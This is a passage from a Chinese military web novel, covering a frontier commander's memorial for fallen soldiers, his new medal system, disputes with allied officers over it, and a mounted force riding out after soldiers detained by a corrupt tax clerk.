他们若安分,便是开疆拓土的子民,给他们想要的生活;若有异心,反叛、作妖,留他不得。雷霆手段亦不会迟疑,刀子可不分老幼!”
“对于草原人,我们不能妥协,越退让,他们就越猖狂。必须要一次打到他们胆寒,让他们彻底没有翻身之日。否则,北疆边民依旧很苦。”
秦猛如鹰隼般的目光看向北方雪原,声音低沉。这无疑是表明了,他以后会果断出兵草原。
他比谁都清楚,北方游牧民族的危害。要干就要向后世汉朝那样痛打,方能安稳数百年。而且还得加大力度,学着草原的后勤往死里干。
赵起看着秦猛坚毅的侧脸,又看着远处在笨拙学习汉话的狼戎老幼,最终将劝诫的话咽了回去。
他明白,秦猛走的是一条前所未有、风险极高的路。但回报极高,抢占牧场,稳定边陲。
或许,这样的道路在边陲才适用,这也是打破胡汉世代隔阂、真正经略北疆的唯一途径。
秦猛从来不会把奢望寄托给别人,这么笃定的原因所在,是因为他除了实力,就是有后手。
——暗部陈麻子发展的狼戎眼线,如同无声的影子,混迹在狼戎人之中,将一些琐碎的议论悄然传递回去,狼戎内部风声也被悄然掌握。
暮色渐沉,风雪依旧。
军寨望楼之上,秦猛与赵起并肩而立,远眺着北方苍茫的草原轮廓。
赵起沉默片刻,缓缓开口:“秦猛,三天后,我便要返回幽州了。”
秦猛闻言,眼皮微微一跳,侧身看向这位上官:“将军,为何如此匆忙?可是幽州有变?”他心中迅速盘算着赵起离开可能带来的影响。
赵起摇摇头,语气中带着一丝不易察觉的感慨:“非是变故,而是职责所在。我来此已快两月,幽州大营军务堆积如山。
更重要的是,此次我军北征草原,虽是大捷,却也擅启边衅。我需亲往帅司,详细陈述此战前因后果,再奏表朝廷,而非日后被人攻讦的由头。”
秦猛目光重新投向北方,脸色凝重:“将军思虑周全。只是……此次虽胜却也捅了马蜂窝。
女真蒲察、秃鹫、黑鹰三部损失惨重,以他们的性子,绝不会轻易咽下这口气,定然会报复。”
“你所虑极是。”赵起颔首,神色同样严肃,“据各方线报,女真诸部近来使者往来频繁。短期内无力大举来犯,但今年秋冬,边境必有一场大风波。你此处,便是首当其冲。”
他的话既是陈述,也是沉重的叮嘱。
秦猛嘴角勾起一抹冷冽的弧度,声音铿锵如铁:“将军放心,末将晓得厉害。这几个月,末将会倾尽全力,练兵、筑垒、积粮。
他们要来,便来!
正好用他们的血,来祭我军的英烈碑,磨砺新兵的刀锋!定要让他们比这次栽得更狠!”
“有如此决心,甚好!”赵起眼中闪过赞赏,但随即语气一转,提醒道,“不过,切莫忘了西边的契丹。此次他们同样颜面扫地。若与女真形成呼应,甚至趁虚而入,局势将更为复杂。”
秦猛听罢,非但没有惧色,反而豪气顿生:“虱子多了不痒,债多了不愁!他们若敢联手而来,我便让他们知道,这铁血军寨,便是碾碎一切来犯之敌的铁砧,正好来个以战养战。”
这份近乎狂傲的自信,源于铁血军寨已经度过最艰难的寒冬,他对军寨积攒的金银财物和自己练兵能力的信心,以及对火器革新的期待。
赵起看着他年轻而坚毅的脸庞,重重一拍他的肩膀,朗声道:“好!要的就是这股子气魄!
你也不要有太大压力,放手去干。别忘了,你背后,还有我幽州虎贲数万精锐!真到了紧要关头,本将会再次率兵北上,痛击鞑虏。”
秦猛郑重点头,心中已在飞速盘算:征兵的范围可以再扩大,训练强度要提升,军器监的产能必须跟上……
时间紧迫,但机会也就在其中。
赵起似乎看穿了他的心思,又道:“此外,开春后,冀州会照例举行边军大比,各军翘楚皆会云集。这是一个扬名立万、震慑屑小的好机会。”
秦猛眼中精光一闪,拱手道:“将军放心!届时末将必亲率精锐前往,定要在
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这大比之中,让飞虎卫‘陷阵,卫戍’的旗号,响彻北地!”
“哈哈哈哈哈,好!本将拭目以待!”赵起的笑声洪亮而真诚,充满了对秦猛的认可与期待。
经过草原一战的检验,他对此子的统兵之能、麾下将士的令行禁止和悍勇已再无怀疑。他相信,这支正在北疆迅速崛起的铁军,必将在不久的将来,给所有人带来更大的惊喜。
……
军器监副使李根生昨天就让人来报。
秦猛所需的东西已经打造好了,只是他太忙了。今天,他陪同赵起巡视完,才来军器监。
“李师傅!”秦猛的声音在叮当作响的作坊内依然清晰。
正在督促徒弟淬火的老铁匠闻声回头,见是秦猛,连忙用汗巾擦了擦手,迎了上来:“将军,您来了。”
他似乎知道秦猛所为何事,也不多言,转身从一旁锁着的工具箱里取出一个朴素的木盒。
“好了,按您的要求,三种都打制出来了,请将军过目。”李铁匠说着,打开了盒盖。
盒内衬着红色绒布,分三层整齐排列着三种徽章。
黄金徽章仅有三枚,大小如后世一元硬币,在炉火映照下泛着沉甸甸的暗金色光泽。
正面浮雕着一只蓄势待发的雄鹰,鹰首微侧,目光锐利,利爪紧扣,翼羽层叠分明,充满动感与力量。背面光滑,中心是一个精巧牢固的挂扣,既可别在衣物上,也能稳稳嵌入特制甲胄的卡槽内。
白银徽章则有十余枚,鹰形浮雕栩栩如生,与金质徽章相同,但光泽冷冽,更显肃杀之气。
黄铜徽章数量最多,约五十余枚,色泽明亮,鹰徽清晰,虽材质不如前两者贵重,却自有一股坚毅不拔的气质。
“好!李师傅,辛苦了!这鹰徽栩栩如生,甚合我意!”
秦猛拿起一枚金质徽章端详,眼中闪过满意之色。
他接着解释道,“此物,我称之为‘英勇勋章’,专为嘉奖此次北征中,不畏箭矢、率先冲阵的敢战之士。
日后,我们还可设立守护、统帅等多种勋章,要让每一种英勇和功绩,都有对应的荣耀彰显!”
李铁匠黝黑的脸上露出笑容:“将军深谋远虑。打造这小玩意儿,比打制刀剑更费心思,但若真能激励将士们奋勇杀敌,那就值了!”
秦猛合上盒盖,握紧木盒,语气坚定:“沙场荣耀,即是性命,有时,更重于赏银!
我要让将士们明白,他们用血汗换来的不仅是粮饷抚恤,更是这能被所有人看见、能被青碑铭记的荣誉!”
离开军器监,秦猛心中已有规划。
他要用这小小的徽章,配合英烈碑的追思,在军中树立起崇尚荣誉、英勇无畏的风气,铸就一支真正的铁血之师。
而这第一步,就从嘉奖此次草原血战的勇士们开始!
第307章 英烈碑下,勋章铸魂
风雪断断续续,军寨大规模组织劳力,搞起了营建。时间,就在这忙碌、训练与学习中,一天天过去,几个安置区选出保长,相继步入正轨,逐渐显现出一种混乱但充满生机的气象。
一转眼,已近二月末。
继各营将属于自己的战马和牛羊群驱赶走了之后。赵起于两天前,率领两千精锐赶着成群的牛羊,返回幽州大营,亲自向帅司呈报军情。
赵平、周扬领着两千精锐协防。
李雄也奉命带着五百骑兵到了指定地点安营扎寨。那里是位于小南河附近的一片荒地,水草肥美,适合放牧,河湾处也适合建小型码头。
清明将至,空气中多了几分湿意和追思之情。
二月二十八,附寨军营。
今天是军寨首次召开的追悼会,数千军民汇聚,人山人海,人头攒动,气氛庄严肃穆。
不仅张富贵、王铁山等主力营队半数到场,秦大壮、李山、刘铁柱、常勇等部将士大半集结。
更有女兵队,少青队,军医队到场,三千辅兵、新兵、民兵等围拢在外围,人人翘首以盼。
点将台旁,一座高达两丈余的青色巨石碑巍然耸立,顶端“英烈纪念碑”五个大字苍劲有力。
工匠们在高高的木架上,手执斧凿,小心翼翼地刻录着名字。
第一行是“永泰十三年,腊月,军寨保卫战”。
其下,新添了“永泰十四年,二月,春草原大捷”。
碑上,一个个名字背后是鲜活的生命:
第一行:王小石-军寨保卫战,坚守东门箭楼,身中六箭不退,毙敌十余人,力竭而亡。
第一行:刘家辉,军寨保卫战,坚守双涡堡,抵挡契丹兵猛攻,杀敌六人,不幸中箭牺牲。
第二行:赵铁牛-春草原大捷,为掩护同袍侧翼,持刀扑入敌阵,斩杀百夫长一名,狼戎兵三人,身被重创,玉石俱焚,壮烈牺牲。
第二行:孙二蛋-春草原大捷,夜袭女真联营,为杀敌酋,后为阻敌追击,引火焚营,与数敌同归于尽。
……
“监镇官苏珩大人到——”
秦小六身穿重甲,昂首踏步而来,拖长音吆喝着。
文吏如王槐、诸葛风、李恒等人簇拥着监镇官苏珩、法曹苏亮、农曹孙超等官员到场见证。左右大队铁甲卫兵护卫,排场数他们最大。
附近居民纷纷投过来敬畏的目光。
一下子,苏珩成为全场最靓的仔,真乃风光无限!
只是苏珩,苏亮等人望着眼前肃杀的军容和巨碑,神色憔悴,精神略显恍惚,或许是这段时间处理公务劳累导致,又或许过得不怎么好。
相比之下,被特邀观礼的伯恩及其带领的数十狼戎军官,虽面容肃穆,但却四处打量着周围军队,眼神中透着一股对军寨实力的敬畏与好奇。
“安静——!”大嗓门牛五一声吼!
“保持安静,秦知寨上台,有话要说。”
随着军卒一声声接力呼喊,人们纷纷闭嘴不言。
很快,数千人的军营之中变得安静。
人目光纷纷注视着点将台,靠前的军队人群中,陈月娘,林婉儿,女兵队中秦小芸神色兴奋。
众目睽睽之下,秦猛步伐沉稳地登上高台。他一身戎装,黑色披风翻飞,目光扫过台下黑压压的人群,拿起木制喇叭,声音沉痛而有力:
“弟兄们!我军寨儿郎,此次北征,踏碎胡尘,扬威草原,缴获牛羊战马成群,此乃大胜!”
声浪稍起,但迅速被他抬手压了下去。
“然而,胜利用鲜血铸就!有二十三位兄弟,永远倒下,再也看不到家乡的柳絮,听不到亲人的呼唤!熟悉的战友逝去,这令人悲痛……”
台下寂静无声,唯有春风掠过旗帜的猎猎作响。
“他们,是军寨的脊梁!是开拓的基石!他们只是小人物,但却是我们的弟兄,我军寨儿郎。在战场上没有退缩半步,受了伤还在杀敌。
他们无疑是好样的,乃是我虎贲军中的勇士,勇士的名字,不应随草木同腐,功绩,不应被风沙掩埋,英勇的事迹,更不能被忘记。
今日,在此,立此英烈碑,就是要让后人皆知,军寨从戍堡一步步壮大,今日边陲刀兵暂止,未来疆土延伸,是由何人之血肉奠基!”
他拿起一份名册,声音洪亮,一个个念诵阵亡将士的姓名,并简述其事迹:
“王小石!坚守东门,血战至死!”
“刘家辉,死守双涡堡,死战不退!”
“赵铁牛!掩护同袍,力斩敌将!”
“孙二蛋!焚身阻敌,忠烈无双!”
……
每念一个名字,台下相应营队的士兵便不自觉地挺直胸膛,眼中既有哀伤,又有骄傲。当二十三个名字念毕,悲壮的气氛已达顶点。
“全体都有——!”秦猛怒吼,“脱帽,致敬、默哀!”
刹那间,数千人齐刷刷摘下头盔或毛绒毡帽,低头静立。
广阔的军营内只剩下风声呜咽,仿佛天地同悲。这漫长的沉默,是对英灵最深切的告慰。
默哀毕,气氛陡然一转。
“逝者已矣,生者当继其志,发愤图强!护佑我军寨壮大扬名,有功者,当赏!有荣者,当彰!”
秦猛的声音变得激昂,“今日,设‘英勇勋章’,以彰我军将士不畏生死、奋勇杀敌先登之功!”
“袁飞!出列!”袁飞大步上前,胸前铠甲片已被更换过。
“你
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于乱军之中,生擒敌酋德克萨,居功至伟!授一级英勇勋章!”
秦猛从亲兵捧着的木盒中,取出一枚金光灿灿、鹰徽凌厉的勋章,郑重地佩戴在袁飞胸甲特制的凹槽内。
金鹰光芒闪耀,与袁飞激动而刚毅的面容交相辉映。
“张富贵!出列!”
“鲁真!出列!”
同样,秦猛勉励后,亲自为他们佩戴上金鹰勋章。
三人并排站立,金色的勋章不仅是荣耀,更是勇武的象征,吸引了全场所有人的目光。
“吼!吼!吼……”台下将士用战吼声,表达着对英雄的敬仰与祝贺,声浪如潮,震撼人心。
张富贵、鲁真、袁飞感受着胸前沉甸甸的分量和台下灼热的目光,腰杆挺得笔直,荣誉感顿生,眼中闪烁着自豪与愈发坚定的忠诚。
接着,王善、**、牛五、徐强、林怒、李明、阮大等十多名斩杀千夫长或大当户的勇士上台,接受了银光闪烁的二级英勇勋章。
虽然材质不同,但飞鹰图案栩栩如生,代表的荣誉同样崇高,秦猛依旧亲自为他们一一佩戴。
随后,获得三级黄铜勋章的代表,以及阵亡、重伤将士的代领人,由各营副将代为颁发。虽然颁发仪式简略,但那份荣誉感同样真切。
颁奖完毕,秦猛再次面向全军,举起手臂:
“弟兄们!看清了吗?这勋章,便是我军中新制度,也是尔等勇武之见证,功绩之象征!
它不只是一块金属,它是军魂所系,是你们将来可以传于子孙的荣耀!它告诉所有人,你,是铁血军寨的英雄!是我秦猛麾下的勇士!”
“军寨不会忘记任何一个流血的兄弟!无论是碑上的英名,还是胸前的勋章,都将铭记你们的功绩!
望诸位以英烈为志,以功臣为榜,砥砺前行,再建新功!归队后投入训练,以求战无不胜!”
“万胜!万胜!万胜!”
军卒们眼神炙热,坚定,山呼海啸般的呐喊响起。
这一次,充满了对荣誉的渴望和对未来的无限斗志。
勋章制度与英烈碑的结合,如同在数千军民心中深深植入了尚武精神与职业军人的意志。
他们看到,在这里,功勋必赏,牺牲必铭,前路不仅有封赏,更有青史留名的无上荣光。
秦猛看着台下群情激昂的将士,知道今日之后,这支军队的魂魄已初步注入了坚韧不屈的力量。
而观礼的伯恩等狼戎勇士则神色复杂,深刻体会到了这种以荣誉凝聚人心的强大力量。这对他们而言,是比牛羊赏赐更震撼的冲击。
“必须融入,否则迟早会被淘汰。”这句话莫名浮现在伯恩等人脑海中,让他们握紧了双拳。
第308章 勋章制度,袁徐嘚瑟
附寨军营的校场上,追悼会的肃穆与颁奖仪式的热烈气氛尚未完全散去,另一种更为持久、深入人心的激荡正在军寨的每一个角落蔓延。
秦猛在高台上目光扫过全场激动未平的将士,声如洪钟,做了最后的补充:“今日全军**,是为铭记英烈,嘉奖大功!
然,我铁血军寨、陷阵营、卫戍营之勇士,岂止台上这十数人英勇?
各营、各队之中,奋勇杀敌、表现出众者大有人在!后续嘉奖与提拔,将由尔等直属主官,于各营内部另行举行!
望诸位知晓,大功全军表率,小功亦不掩埋!凡奋勇作战,为我军寨出力者,皆在功赏之列!”
散场后,盖有“铁血军寨官署”与“监镇衙门”鲜红大印的告示,便被吏员郑重地张贴至军寨各处辕门、坊市、双涡堡、白松岭矿洞,甚至连几个狼戎人安置区的公告栏上也未能遗漏。
告示以详尽的笔墨,正式向全体军民公布了《铁血军寨功勋荣誉条例》。
条例明确规定,勋章不仅限于出征的“英勇勋章”。
更设有“守护勋章”,授予如磐石般坚守要地、力保阵地不失的将士;
“突击勋章”,授予在攻坚克难、斩将夺旗中一马当先的猛士;
乃至“统御勋章”,授予指挥若定、以少胜多或巧妙布局取胜的军官。
每一类勋章均分三级,以材质区分功绩大小。
获得途径亦被清晰罗列:
阵斩敌军大当户或同等军官,可获三级英勇勋章;率数十士卒抵挡数倍之敌、死守营地、关隘等直至援军到来,可评三级守护勋章……
条例强调,非立下显著功绩、取得关键胜利,并经军寨参谋部严格评议,授予,通告全军。
更让军民哗然的是,此勋章制度并非正规战兵专属。
告示明言,辅兵、民兵,乃至工匠、马夫、医士等所有为军寨服务者,只要在本职岗位上做出卓越贡献。
如工匠革新器械显著提升战力,马夫及时发现并上报疫病避免大规模损失,种地培育新作物……
经核定确属于大功,同样有机会获得相应的勋章,并将颁布公文,全军、全寨通报表扬。
告示最后点明了勋章的沉重分量与实在利益:获得难度极大,然,一旦获得,便是终身荣耀,拥有者即自动进入军官优先选拔序列。
监镇官苏珩更代表幽州及朝廷表态,勋章获得者,每月可有额外钱粮津贴发放,赋税减免等,即使不幸战殁,津贴也将由直属亲眷继承。
总而言之,这荣誉勋章,不仅代表着无上荣光,更与个人的前途、家族的福祉紧密相连。
勋章的出现,灵感来源于秦猛后世上学获得奖状后的成就感,以这个时代的功牌,结合谁穷,不,谁勇猛谁光荣和法国谁的破铜烂铁理论。
他把屁用没有的证书换成了钱粮、职位等实际利益。制定了勋章制度,不仅可以增强军队的凝聚力,而且最大程度上来激励将士奋勇!
这不,告示所至,群情激奋!
“哎呦,获得荣誉勋章好处这么多?”
“那可不?光是黄金白银质地,都值老不少钱。”每个告示间人群如潮,聚在一起议论着此事。
“爹,告示上写的是,杀了敌人的千夫长就能得三级勋章哩,可领取钱粮……”一个半大小子指着墙上的告示,对身边满脸风霜的老农讲解。
老农眯着眼,努力辨认着朱红大印,喃喃道:“哦哟,月月钱粮?赋税减免?好,了不得!
看见没?娃子,在秦大人手下当兵,不光有饷银,一旦挣了这个勋章,那可是光宗耀祖,子孙都有依靠!以后上了战场,可得给你爹我争气,别怂!”
在军寨工匠坊内,大师傅鲁明将小儿子鲁小亮拉到一旁,指着告示上关于工匠亦可获奖的条款。
他语重心长:“小亮,瞧见没?好好跟爹学手艺,用心!只要你以后能琢磨出像你爹我……
咳咳,只要能钻研出更好的军械,说不定也能得一枚勋章,那咱老鲁家可就真是匠门荣耀了!”
“嗯!”鲁小亮看着父亲殷切的目光,重重点头。
自此,军寨的勋章制度实施,如同在平静的湖面投下一块巨石,激起的涟漪扩散至整个军寨。
士卒操练更加刻苦,喊杀声震天;
军器监,几个作坊师傅带着学徒忙得热火朝天;
劳役营建城墙速度明显加快,人人争先恐后;就连马厩牛棚里,喂牲口的辅兵民壮也格外精心,不时检查草料饮水,生怕出一丝纰漏。
整个军寨弥漫着一股积极向上、争先创优的气氛。
三月初,这天,秦猛在亲卫的陪同下巡视军寨,沿途所见所闻,将这一切变化尽收眼底。
他看着校场上汗流浃背仍苦练不辍的士兵,听着工坊里叮当作响、钻研改进的讨论声,他嘴角不禁勾起一抹笑意,带着些商贾的狡诈。
“人活一世,无非为了名利,眼下有机会,岂能错过?哪怕知道几率不大,却也要努力尝试。”
“看来,这小小勋章,作用真是不小。啧,不能滥发,须保持其稀缺金贵,但又得让人觉着有盼头,偶尔放出几枚,这钩子才算下得妙。”
“嗯,我
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真是个机灵鬼。”秦猛为自己机智点个赞。
然而,勋章制度带来的并不全是积极反响。铁血军寨正式推行荣誉勋章制度,无法隐瞒。
尤其是有人故意“显摆”的行为,消息如同长了翅膀般,迅速传到了不远处的飞虎卫临时驻地。
事情起因正是袁飞和徐强这两个刺头。他们正值年轻气盛,授勋次日,他俩便将金光闪闪、银光烁烁的勋章牢牢卡在胸甲特制的凹槽上。
无论是走到哪里,故意昂首挺胸,生怕别人看不见。为此,王艳?秦小芸没少说这俩憨傻。
在教导队集训时,那勋章造型精美,鹰徽凌厉,在日光下熠熠生辉,黄金白银的质地更是透着实打实的价值,引得周围将士纷纷侧目,这两人的嘚瑟,更是让人既羡慕又手痒痒。
这还不算完,两人竟胆大包天,溜达到飞虎卫驻地内,“巧遇”昔日同在亲卫营、狂风营的老相识。
依旧是那副昂首挺胸,拽兮兮欠揍的架势,就差没把“快来看我的勋章”几个字写在脸上。
“哟,老李,瞅瞅,秦统领刚发的,一级英勇勋章!金的,纯金的!沉甸甸的,戴着还真有点不习惯。”袁飞拍着胸甲,声音洪亮而嘚瑟。
徐强在一旁帮腔:“就是,我这个虽然差点,但也是二级勋章,白银质地,货真价实哟!还是咱们军寨待遇好,立功了不光升官发财,还当着大伙的面表扬,更有这玩意儿光宗耀祖。”
“哈哈哈,亲卫营的兄弟最近有啥新鲜赏赐不?”
两人一唱一和,王婆卖瓜,自卖自夸。这消息如何能瞒得住?很快,飞虎卫中那些曾一同参与草原血战的老兵们坐不住了,尤其是当初与袁飞等人并肩作战、自认功劳不小的。
他们围着各自的队将,部将,说起了此事。甚至聚众议论纷纷,语气中带着不满和急切:
“队正,凭什么铁血军寨的人有勋章,咱们没有?那场仗咱们也没怂啊!袁飞那混球嘚瑟……”
“就是!还有那个徐强,甚是骄狂。斩将夺旗咱们也出了力,这劳什子勋章,也该有咱们一份吧?”
“走,去找将军说道说道,不能让袁飞那厮专美于前!”
压力很快给到了飞虎卫副统领周扬和狂风营副将王魁那里。两人一打听,才知是秦猛搞出了新名堂,且效果显著,弄得自己手下军心浮动。
这还了得?那是个啥?性子更急的副将赵平得知后,大手一挥:“走!咱找秦猛问问去!”
当即,他带着周扬,王魁等将,各带亲兵队,七个不服,八个不愤,气势汹汹地闯入军寨。
第309章 风波起
“大人,赵统领,周副统领来了……”
军寨官署,秦猛正在处理近来狼戎安置和牧场、作坊规划等相关事宜,与诸葛风等文吏商议。突然,外面响起牛五语速极快汇报的大嗓门,
“秦统领,你可不地道啊!”
赵平这熟人的声音人未至声先到,紧接着,他大步流星地走进来,身后,周扬,王魁等人紧随其后,只是拉着一张脸,显得来者不善。
这是咋啦?秦猛看着他们脸色不对有点疑惑,却还是挥手让文吏退下,他站起身,笑脸相迎。
“赵大哥,周大哥……,今天怎么有空来我这儿?”
赵平一屁股坐下后,也没绕弯子,开门见山,“那黄金勋章,为何没有我和亲卫营的份?草原上一块拼过命的兄弟,你这厚此薄彼,说得过去吗?”
“就是,”王魁附和着:“俺狂风营将士也是拼了命的。”
“勋章?”秦猛一愣,心下顿时明了。
不用猜了,暗部陈麻子来汇报过此事,定是袁飞、徐强那两个显眼包惹的祸,麻烦上门来。
他心中无语,没好气地说:“赵兄,你这话从何说起?这勋章是我铁血军寨内部的嘉奖措施,其目的,就是主官激励麾下将士用的。
说句实话,连我自己都没给自己弄一个,你想要,得找赵将军申请,按功劳为你量身打造。打造的黄金白银,就得从你奖励中扣喽!”
“这勋章就是个噱头,没啥用啊!”
秦猛说谎话不脸红,可不想暴露自己的本意。颁发勋章的意义那大了去——先是荣誉加身,再灌输思想,达到培养自己的嫡系队伍的目的。
“这样啊!”赵平听了后,摩挲着下巴上的胡须。“这小小勋章有用,营中将士人心已经浮动。羡慕袁飞徐强,是真真切切能够激励麾下将士。”
“或许我亲卫营、狂风营,其他营内部也可以照此实行。”周扬这个家伙在边上,突然开口。
“对对对!”赵平眼前一亮,立刻赞同。
“两位,三思啊!”秦猛眼皮一跳,准备制止。他露出为难之色,“我劝你们还是别搞这一套。”
“为何?”赵平和周扬几乎异口同声,满脸不解。
秦猛掰着手指头解释:“其一,这玩意儿费钱!真金白银,做工还得精细,耗时费力。没有像我军寨这样稳定的地盘和充足的后勤支持,一般营队搞不起来。
其二,也是最关键的,这等涉及全军激励制度的大事,搞之前得先上报赵将军和帅司,等待审批允许才能进行。
否则,私设名目,笼络军心,容易落人口舌,被朝廷那帮文官知道,朝堂参一本可是麻烦事。”
“那你为何敢先斩后奏?”赵平不服。
秦猛早就备好了说辞,眼睛一转,笑道:“哎呀,我这哪是勋章啊?赵兄你误会了。这就是我们军寨内部打造的一种特殊饰品,给将士们戴着好看、提振士气的。
就跟头盔上的缨子、铠甲上的纹饰,甚至戒指手镯等是一个性质,没有任何实际军功效果,就是用来装饰而已,自然不必大张旗鼓上报。”
“那我们也说是饰品不就行了?”赵平梗着脖子。此刻,这条硬汉居然表现出如此机智的一面。
秦猛忍不住扶额狂翻白眼:“哇靠,我的赵大哥,你们飞虎卫是精锐,总学我们军寨这点土办法,传出去,赵将军脸上多没面子?
再说了,我这儿是沾了幽州赌王何先发的光,他路子野,尽搞这些精美又犯忌讳的小玩意。你们要学,岂不是有损飞虎卫的威名?不成不成。”
他毫不犹豫地把未来幽州赌王何先发推出来当挡箭牌,说他专门好赌,这是玩物丧志,不能学。要是何老头听见了,绝对会泪流满面。
“我不管!反正我觉得这玩意儿挺好,在军队里实用,能激励士气!”赵平是王八吃秤砣——铁了心,直接道破了关键,“铁血军寨能工巧匠甚多,你就说帮不帮这个忙,给个章程吧?”
“尼玛……”秦猛很想爆粗口,奇了怪,以前怎么没有发现赵平这个大炮仗竟然如此的有头脑?
就在双方为这“饰品”争论不休之际,一匹快马旋风般冲到官署外,一名传令兵滚鞍下马,疾步闯入,单膝跪地高声禀报:
“报——!大人,南河城寨魏知寨派人送来紧急消息,他们那边已准备就绪,请您定夺下一步行动!”
这一声通报,暂时打断了关于勋章的争执,将众人的注意力拉回到了更紧迫的军务之上。
……
三月初二的南河城寨,虽已过清明,空气中仍残留着一丝余韵,以及焚烧纸钱后特有的烟火气。
附寨街道上人来人往,叫卖声此起彼伏,相比去岁入冬后的萧条,如今多了几分生机。
那些曾经绵延的流民窝棚大多已消失,冻饿而死的尸骨早已被冰雪掩埋又随着春雪消融而处理,侥幸存活者多数已被吸纳进铁血军寨的体系,成为了筑城、垦荒或训练的新血。
几个穿着粗旧皮**袄子、猎户打扮的汉子出现在街市一角,他们身上挂着肥硕的山跳子、羽毛鲜艳的山鸡,最引人注目的是有人扛着一头不小的狍子,还有竹篓里装着肥美的林蛙。
在这个吃饱饭都属不易的年头,新鲜的野味肉食无疑是紧俏货。
“刚打的狍子肉,肥着哩!山鸡炖汤最是鲜美!”
猎户们嗓门洪亮,很快便吸引了一圈人围拢过来。不乏城中酒楼饭馆的采买伙计,一些富户商贾派来
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的仆人。
“这狍子怎么卖?”
“兄弟,山鸡什么价?”
“林蛙可是好东西,大补之物,全要了能否便宜些?”
猎户熟练地应对着问价,言语间带着山民特有的憨直与精明。
就在这时,其中一个面色黝黑、眼神锐利的猎户,从身后的背囊里小心翼翼地取出一张**色雪白、完整无缺的雪狼皮,猛地抖擞开。
“上好的雪狼皮,今天刚打的皮子。”
“冬末的皮**最是厚实,做个褥子或是坎肩,防风保暖一流!”
这张品相极佳的狼皮顿时引起了骚动,几个看似富商模样的人立刻挤上前,仔细摩挲着皮**,眼中放光。
“这狼皮不错,多少钱?”
“我出三两银子!”
“我出三两六钱!”
就在几人争相出价时,一个不合时宜的尖锐声音插了进来:“哟呵,哥几个生意不错嘛!谁允许你们在这儿摆摊的?缴税了没有?”
来人正是南河城寨的税吏班头张宝,带着五六个歪戴帽子斜瞪眼的跟班,晃悠悠着过来。
他三角眼一扫,立刻盯上了那张狼皮和值钱的狍子、林蛙,心中窃喜,又是捞油水的好机会。
张宝走到那卖狼皮的猎户面前,用指节敲了敲摊开的狼皮,皮笑肉不笑地说:“懂不懂规?
在南河城寨地界做买卖,得先到我们税课司报备,缴纳场地税、交易税!看你们是生面孔,这样,这张狼皮嘛,抵了税钱,再补二百文,就算你们过关了。”
那黑脸猎户眼皮都没抬一下,瓮声瓮气地说:“我们是双涡堡的土兵,世代军户,在家门口卖点山货补贴家用,也要缴税?没听说过这规矩。”
张宝一听,乐了:“双涡堡的土兵?哈哈,吓唬谁呢?就是你们堡主来了,在这南河城寨,也得守老子的规矩!少废话,痛快拿钱拿皮子,不然……”
他话音未落,恰好一队熟悉的城寨巡逻兵走过!
张宝立刻招手:“兄弟们来得正好,这儿有几个刁民**,给我拿下,送到地牢里好好教教他们规矩!”
巡逻队头目奉命而来,又与张宝相熟,见状一挥手,兵士们便一拥而上,就要锁拿几个猎户。
猎户们似乎想要反抗,但被那黑脸猎户用眼神制止了。
他冷冷地看着张宝,说道:“这位班头,你可想清楚了,动了军籍的人,可不是小事。”
张宝啐了一口:“呸!几个穷丘八,也敢吓唬老子?抓的就是你们!正好地牢里空得很,进去给爷们添点油水!”
他得意扬扬,浑然不觉在围观的人群中,有几道冰冷的目光早已将方才发生的一切尽收眼底,其中一人悄然退后,身影迅速消失在街角。
第310章 千骑叩寨
三月初,这场春雪颓势渐甚!
铁血军寨,官署内,久违的暖阳透过窗棂照入。
秦猛正在与诸葛风核对春耕的筹备情况和狼戎牧场的划分图,副将王铁山一阵风似的闯了进来,他那黝黑的脸上混合着愤怒与焦急。
“大人!不好了!”王铁山声音洪亮,带着火气,“我营队里有五个弟兄,前日轮休,说是上山打点野味补贴家用,说好了昨日傍晚归营,可到现在人影不见!”
“最后有人看见他们结伴进了南河城寨卖猎物,之后就再没出来!至今杳无音讯,生死不知……”
秦猛“啪”地一拍桌子,豁然起身,脸上瞬间布满寒霜,怒声道:“什么?五个大活人,还是我边军卫戍营将士,在南河城寨失踪了?”
“王铁山!你是干什么吃的?”
王铁山梗着脖子,抱拳道:“大人,末将失职!已派人去寨门问过,守门兵士说见他们出了寨。但他们眼神闪躲,定是在寨内出了意外!”
秦猛眼神锐利,语气斩钉截铁:“那还等什么?生要见人,死要见尸!带上你本部人马,立刻去南河城寨,把说谎的几个军士控制住。
就是把地皮给我翻过来,挖地三尺,也得把人找到!要是找不回来,或是弟兄们受了什么委屈……你这副将也别当了,直接给老子滚去喂马!”
“是!末将遵命!定把弟兄们完好无损地带回来!”王铁山恶狠狠回应,转身往外冲,甲叶铿锵作响。
秦猛随即对身旁的亲卫下令:“**,秦小六!”
“末将在!”两名剽悍的军官踏前一步。
“你二人点齐三百精锐,全副武装,随王副将同去南河城寨。记住,一切按我事先交代的来做,场面要给足!要显出我边军护犊子的决心。
“敢动我军寨的弟兄,对边军下手,等同叛国。不管他是谁,不管有何背景,先打一顿再说。更要‘配合’魏知寨办案,不留下任何隐患。”
“明白!”**和秦小六满脸兴奋,领命而去。
秦猛看着两人离去,眼神越发冰冷:“一个边角料玩意,也敢嚣张?可想而知,附寨衙署烂透了,这个老魏畏缩不前,没了锐气。”
南河城寨,发生的事儿绝非偶然。
那是前段时间孙仁密信抹黑告状事件,秦猛,魏文,赵平商议如何以雷霆之势将这祸害铲除。
当时约定,魏文回去准备一番,派心腹监视主要目标,届时,协助秦猛麾下队伍,到时候将孙仁及党羽一网打尽,彻底肃清这些毒瘤。
正所谓名正言顺,师出有名!
这不,有了猎户被抓,导致未归队、失踪,铁血军寨派人追查。至于接下来,各队自由发挥。
……
“全体集合!”
军寨外,王铁山扯着喉咙,大吼下令。从双涡堡归来的混编大队,迅速集结,列成方阵。
“将士们,咱们几个兄弟去了南河城寨卖野味,竟然失踪未归,肯定是磐石营眼红咱军寨越发红火,动起了歪心思,咱们去把人找回来。”
“是!”
五百军卒分成多队,前往几个马厩,翻身上马。
**,秦小六带着三百精锐来相助。
两队合并,八百骑兵人喊马嘶,一窝蜂冲出营地。
中途又碰到赵平带队赶来,他却舞动马鞭,大声喝问:“你们是怎么回事?为何擅自出兵?”
“赵统领,我营队将士拿了点猎物到南河城寨贩卖补贴家用,竟然一去不复返,就这样失踪了……”
王铁山依旧是怒气冲冲,吼声如雷。把事情的经过迅速说来,声称自己只是去讨要个说法。
“竟有这种事?本将与你们同去,要真是有人敢袭击边军,或无辜囚禁我军将士,此事绝不善了!”赵平听了,勃然大怒,立刻带队随行。
好嘛!又有三两百骑兵加入。
千卒铁骑浩浩荡荡,人人叫嚷着,扑向南河城寨。
